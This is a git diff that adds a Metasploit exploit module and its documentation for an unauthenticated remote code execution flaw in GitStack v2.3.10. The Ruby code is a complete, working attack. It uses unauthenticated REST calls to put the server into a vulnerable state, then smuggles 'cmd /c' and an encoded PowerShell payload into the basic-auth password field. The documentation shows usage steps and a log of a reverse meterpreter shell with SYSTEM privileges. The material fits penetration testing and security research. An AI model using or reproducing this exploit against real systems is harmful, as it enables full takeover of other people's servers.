diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md new file mode 100644 index 0000000000..f4290a4bac --- /dev/null +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -0,0 +1,61 @@ +## Description + +This module exploits an unauthenticated remote code execution vulnerability on GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. + +## Vulnerable Application + +In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function. + +To exploit the vulnerability, the repository interface must be enabled, a repository must exist, and a user must have access to the repository. + +Note: A passwd file should be created by GitStack for local user accounts. Default location: `C:\GitStack\data\passwdfile`. + +## Verification Steps + +- [ ] Install a vulnerable GitStack application +- [ ] `./msfconsole` +- [ ] `use exploit/windows/http/gitstack_rce` +- [ ] `set rhost ` +- [ ] `set verbose true` +- [ ] `run` + +Note: You may have to run the exploit multiple times since the powershell that is generate has to be under a certain size. + +## Scenarios + +### GitStack v2.3.10 on Windows 7 SP1 + +``` +msf5 > use exploit/windows/http/gitstack_rce +msf5 exploit(windows/http/gitstack_rce) > set rhost 172.22.222.122 +rhost => 172.22.222.122 +msf5 exploit(windows/http/gitstack_rce) > set verbose true +verbose => true +msf5 exploit(windows/http/gitstack_rce) > run + +[*] Started reverse TCP handler on 172.22.222.131:4444 +[*] Powershell command length: 6103 +[-] Web interface is disabled +[-] No repositories found +[+] Web interface successfully enabled +[+] The repository has been successfully created +[+] Created user: ZROTE +[+] User ZROTE added to EsILm +[*] Sending stage (252483 bytes) to 172.22.222.122 +[+] ZROTE removed from EsILm +[+] ZROTE has been deleted +[+] Web interface successfully disabled +[+] EsILm has been deleted + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-V438RLMESAE +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x86/windows +meterpreter > +``` diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb new file mode 100644 index 0000000000..f2b79af8c2 --- /dev/null +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -0,0 +1,303 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GitStack v2.3.10 Unsanitized Argument', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in + GitStack v2.3.10, caused by an unsanitized argument being passed + to an exec function call. Earlier version of GitStack may be + affected. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kacper Szurek', # Vulnerability discovery and PoC + 'Jacob Robles' # Metasploit module + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Targets' => [['Automatic', {}]], + 'Privileged' => true, + 'DisclosureDate' => 'Jan 15 2018', + 'DefaultTarget' => 0)) + register_options([Opt::RPORT(80)]) + end + + def check_web + begin + res = send_request_cgi({ + 'uri' => normalize_uri('/rest/settings/general/webinterface/'), + 'method' => 'GET' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + + if res && res.code == 200 + if res.body =~ /true/ + vprint_good('Web interface is enabled') + return true + else + vprint_error('Web interface is disabled') + return false + end + else + print_error('Unable to determine status of web interface') + return nil + end + end + + def check_repos + begin + res = send_request_cgi({ + 'uri' => '/rest/repository/', + 'method' => 'GET', + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + begin + mylist = JSON.parse(res.body) + rescue JSON::ParserError => e + print_error("Failed: #{e.class} - #{e.message}") + return nil + end + + unless mylist.length == 0 + vprint_good('Repositories found') + return mylist + else + vprint_error('No repositories found') + return false + end + else + print_error('Unable to determine available repositories') + return nil + end + end + + def update_web(web) + data = {'enabled' => web} + begin + res = send_request_cgi({ + 'uri' => '/rest/settings/general/webinterface/', + 'method' => 'PUT', + 'encode' => true, + 'data' => data.to_json + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + end + end + + def create_repo + repo = Rex::Text.rand_text_alpha(5) + c_token = Rex::Text.rand_text_alpha(5) + data = "name=#{repo}&csrfmiddlewaretoken=#{c_token}" + begin + res = send_request_cgi({ + 'uri' => '/rest/repository/', + 'method' => 'POST', + 'cookie' => "csrftoken=#{c_token}", + 'data' => data + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + return repo + else + print_status('Unable to create repository') + return nil + end + end + + def delete_repo(repo) + begin + res = send_request_cgi({ + 'uri' => "/rest/repository/#{repo}/", + 'method' => 'DELETE' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + + if res && res.code == 200 + vprint_good("#{res.body}") + else + print_status('Failed to delete repository') + end + end + + def create_user + user = Rex::Text.rand_text_alpha(5) + pass = user + data = "username=#{user}&password=#{pass}" + begin + res = send_request_cgi({ + 'uri' => '/rest/user/', + 'method' => 'POST', + 'encode' => true, + 'data' => data + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("Created user: #{user}") + return user + else + print_error("Failed to create user") + return nil + end + end + + def delete_user(user) + begin + res = send_request_cgi({ + 'uri' => "/rest/user/#{user}/", + 'method' => 'DELETE' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + else + print_status('Delete user unsuccessful') + end + end + + def mod_user(repo, user, method) + begin + res = send_request_cgi({ + 'uri' => "/rest/repository/#{repo}/user/#{user}/", + 'method' => method + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + else + print_status('Unable to add/remove user from repo') + end + end + + def repo_users(repo) + begin + res = send_request_cgi({ + 'uri' => normalize_uri("/rest/repository/#{repo}/user/"), + 'method' => 'GET' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + begin + users = JSON.parse(res.body) + users -= ['everyone'] + rescue JSON::ParserError => e + print_error("Failed: #{e.class} - #{e.message}") + users = nil + end + else + return nil + end + return users + end + + def run_exploit(repo, user, cmd) + begin + res = send_request_cgi({ + 'uri' => "/web/index.php?p=#{repo}.git&a=summary", + 'method' => 'GET', + 'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}") + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + end + + def exploit + command = cmd_psh_payload( + payload.encoded, + payload_instance.arch.first, + { :remove_comspec => true, :encode_final_payload => true } + ) + fail_with(Failure::PayloadFailed, "Payload is too big") if command.length > 6110 + + web = check_web + repos = check_repos + + if web.nil? || repos.nil? + return + end + + unless web + update_web(!web) + # Wait for interface + sleep 8 + end + + if repos + pwn_repo = repos[0]['name'] + else + pwn_repo = create_repo + end + + r_users = repo_users(pwn_repo) + unless r_users.nil? || r_users == [] + pwn_user = r_users[0] + run_exploit(pwn_repo, pwn_user, command) + else + pwn_user = create_user + if pwn_user + mod_user(pwn_repo, pwn_user, 'POST') + run_exploit(pwn_repo, pwn_user, command) + mod_user(pwn_repo, pwn_user, 'DELETE') + delete_user(pwn_user) + end + end + + unless web + update_web(web) + end + + unless repos + delete_repo(pwn_repo) + end + end +end